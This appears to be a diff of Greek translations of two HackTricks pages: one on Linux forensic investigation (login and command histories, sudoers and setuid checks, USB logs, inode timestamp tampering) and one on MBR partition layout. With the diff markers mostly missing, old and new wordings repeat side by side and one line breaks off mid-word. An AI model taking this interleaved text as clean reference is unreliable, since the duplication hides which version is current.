Τα αρχεία καταγραφής συστήματος Linux και τα υποσυστήματα ελέγχου ενδέχεται να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση διείσδυσης ή περιστατικού κακόβουλου λογισμικού. Διότι τα αρχεία καταγραφής σε συστήματα Linux συνήθως περιέχουν μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τα διαγράφουν συστηματικά. Επομένως, κατά την εξέταση των διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να εξετάζετε για κενά ή μη σειριακές καταχωρήσεις που μπορεί να υποδεικνύουν διαγραφή ή παρεμβολή.
Τα αρχεία καταγραφής και τα υποσυστήματα ελέγχου του συστήματος Linux μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητήσετε κενά ή μη κανονικές καταχωρίσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης.
{% endhint %}
**Το Linux διατηρεί μια ιστορία εντολών για κάθε χρήστη**, αποθηκευμένη σε:
**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε:
- \~/.bash\_history
- \~/.zsh\_history
- \~/.zsh\_sessions/\*
- \~/.python\_history
- \~/.\*\_history
* \~/.bash\_history
* \~/.zsh\_history
* \~/.zsh\_sessions/\*
* \~/.python\_history
* \~/.\*\_history
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις.
Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα:
- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
- Εξετάστε το `/etc/groups` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελών ομάδας ή δικαιωμάτων.
- Εξετάστε το `/etc/passwd` για την αναγνώριση οποιωνδήπο
* Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
* Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
* Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα.
* Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα.
Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής:
* **SSH**: Εξετάστε το _\~/.ssh/authorized\_keys_ και _\~/.ssh/known\_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις.
* **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome.
* **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες.
* **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων.
* **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία.
* **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp\_history_ ή _\~/.sftp\_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες.
* **MySQL**: Εξετάστε το _\~/.mysql\_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων.
* **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των αρχείων που προβλήθηκαν και των εντολών που εκτελέστηκαν.
* **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια.
### Καταγραφές USB
[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB.
Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα).
### Εγκατάσταση
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
@ -315,28 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
## Εξέταση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία καταγραφής ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα συμβάντα. Επίσης, ελέγξτε πιθανές επιθέσεις sudo brute-force.\
Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και το _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **καμία κωδικό** ή **εύκολα μαντεψιάρικους** κωδικούς.
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\
Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δόθηκαν σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης.
## Εξέταση Συστήματος Αρχείων
### Ανάλυση Δομών Αρχείων στην Έρευνα Κακόβουλου Λογισμικού
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο την ακολουθία των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σημάνσεων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
Για να αντιμετωπίσετε αυτές τις αντι-δανειστικές μεθόδους, είναι ουσιώδες:
Για να αντισταθούμε σε αυτές τις μεθόδους αντεπίθεσης, είναι απαραίτητο να:
* **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίου** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για οπτικοποίηση των χρονολογιών συμβάντων ή το `mactime` του **Sleuth Kit** για λεπτομερείς πληροφορίες χρονολογίου.
* **Εξετάστε απροσδόκητα scripts** στο $PATH του συστήματος, τα οποία ενδέχεται να περιλαμβάνουν scripts κελύφους ή PHP που χρησιμοποιούν οι επιτιθέμενοι.
* **Εξετάστε τον κατάλογο `/dev` για ατυπικά αρχεία**, καθώς συνήθως περιέχει ειδικά αρχεία, αλλά μπορεί να περιέχει και αρχεία που σχετίζονται με κακόβουλο λογισμικό.
* **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία ελέγχου-G), τα οποία μπορεί να κρύβουν κακόβουλο περιεχόμενο.
* **Αναγνωρίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό εντοπίζει αρχεία με υψηλά δικαιώματα, τα οποία θα μπορούσαν να καταχραστούνται από επιτιθέμενους.
* **Ελέγξτε τα χρονοσήματα διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που ενδέχεται να υποδηλώνουν την παρουσία rootkits ή τροϊανών.
* **Ελέγξτε συνεχόμενα inodes** για κοντινά κακόβουλα αρχεία μετά την εντοπισμό ενός, καθώς ενδέχεται να έχουν τοποθετηθεί μαζί.
* **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
* **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας.
* **Εξετάσετε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους.
* **Εξετάσετε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό.
* **Αναζητήσετε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο.
* **Εντοπίσετε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με αυξημένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους.
* **Ανασκοπήσετε τις χρονικές σημάνσεις διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, πιθανώς υποδεικνύοντας την παρουσία rootkits ή trojans.
* **Εξετάσετε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
* **Ελέγξετε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -345,14 +376,14 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
Σημειώστε ότι ένας **εισβολέας** μπορεί να **τροποποιήσει** τη **χρονική σήμανση** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν ανακαλύψετε ότι ένα **αρχείο** υποδηλώνει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονικές σημάνσεις του αρχείου αυτού τροποποιήθηκαν**.
Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι** αυτού του αρχείου έχουν **τροποποιηθεί**.
{% endhint %}
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων
Για να συγκρίνουμε εκδόσεις συστημάτων αρχείων και να εντοπίσουμε τις αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
* **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους:
```bash
@ -362,20 +393,20 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **Ανίχνευση διαγραμμένων αρχείων**:
* **Για να ανιχνεύσετε διαγραμμένα αρχεία**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στον περιορισμό σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγραμμένα (`D`), ή τροποποιημένα (`M`) αρχεία.
* `A`: Προστιθέμενα αρχεία
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στη στένωση σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία.
* `A`: Προσθήκες αρχείων
* `C`: Αντιγραμμένα αρχεία
* `D`: Διαγραμμένα αρχεία
* `M`: Τροποποιημένα αρχεία
* `R`: Μετονομασμένα αρχεία
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε σύμβολο συνδέσμου)
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink)
* `U`: Μη συγχωνευμένα αρχεία
* `X`: Άγνωστα αρχεία
* `B`: Κατεστραμμένα αρχεία
* `B`: Σπασμένα αρχεία
## Αναφορές
@ -386,22 +417,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στο** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **και** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,67 +1,68 @@
# Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
# Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Διαμερίσματα
## Partitions
Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι το **sector** (συνήθως αποτελείται από 512B). Έτσι, η μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού.
Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικές κατατμήσεις** με στόχο τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε κατατμήσεως πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους.
### MBR (Κύριο Μητρώο Εκκίνησης)
### MBR (master Boot Record)
Είναι εγκατεστημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον Η/Υ τι και από πού πρέπει να τοποθετηθεί ένα διαμέρισμα.\
Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγράφου εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\
Το MBR επιτρέπει **μέγιστο 2,2TB**.
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί μια κατανομή.\
Επιτρέπει έως **4 κατατμήσεις** (το πολύ **μόνο 1** μπορεί να είναι ενεργή/**εκκινήσιμη**). Ωστόσο, αν χρειάζεστε περισσότερες κατατμήσεις μπορείτε να χρησιμοποιήσετε **εκτεταμένες κατατμήσεις**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο μία κατανομή μπορεί να χαρακτηριστεί ως ενεργή.\
Το MBR επιτρέπει **μέγιστο 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
Από τα **bytes 440 έως τα 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται τα Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να αποτρέψει τα Windows από την εκκίνηση (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου Windows** (αν χρησιμοποιείται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Μορφή**
**Format**
| Offset | Μήκος | Στοιχείο |
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα |
| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα |
| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα |
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
| 446 (0x1BE) | 16 (0x10) | Πρώτη Κατανομή |
| 462 (0x1CE) | 16 (0x10) | Δεύτερη Κατανομή |
| 478 (0x1DE) | 16 (0x10) | Τρίτη Κατανομή |
| 494 (0x1EE) | 16 (0x10) | Τέταρτη Κατανομή |
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
**Μορφή Εγγραφής Διαμερίσματος**
**Format Καταγραφής Κατανομής**
| Offset | Μήκος | Στοιχείο |
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) |
| 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής |
| 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τέλος κεφαλής |
| 6 (0x06) | 1 (0x01) | Τέλος τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους |
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμη) |
| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή |
| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου κατανομής (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή |
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits |
| 8 (0x08) | 4 (0x04) | Τομείς που προηγούνται της κατανομής (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στην κατανομή |
Για να τοποθετήσετε ένα MBR στο Linux πρέπει πρώτα να λάβετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
Για να προσαρτήσετε ένα MBR σε Linux πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
```bash
@ -70,26 +71,26 @@ mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**Διεύθυνση Λογικών Τμημάτων (LBA)**
**LBA (Λογική διεύθυνση μπλοκ)**
